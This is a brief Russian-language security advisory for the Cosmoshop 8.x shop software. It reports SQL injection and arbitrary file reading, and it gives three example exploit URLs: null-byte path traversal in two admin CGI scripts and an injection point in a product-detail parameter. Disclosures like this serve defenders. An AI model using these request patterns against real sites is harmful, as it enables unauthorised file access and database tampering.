Программа: Cosmoshop 8.x
Уязвимость позволяет удаленному пользователю выполнить произвольные SQL
команды в базе данных приложения, а так же просмотреть
произвольные файлы на системе.
Пример:
http://[host]/cgi-bin/admin/bestellvorgang/edit_mailtexte.cgi?file=../../[file]%00
http://[host]/cgi-bin/admin/bestmail.cgi?action=view&file=../../[file]%00
http://[host]/cgi-bin/lshop.cgi?action=showdetail&artnum= [code]&wkid=2002g&ls=d&nocache=
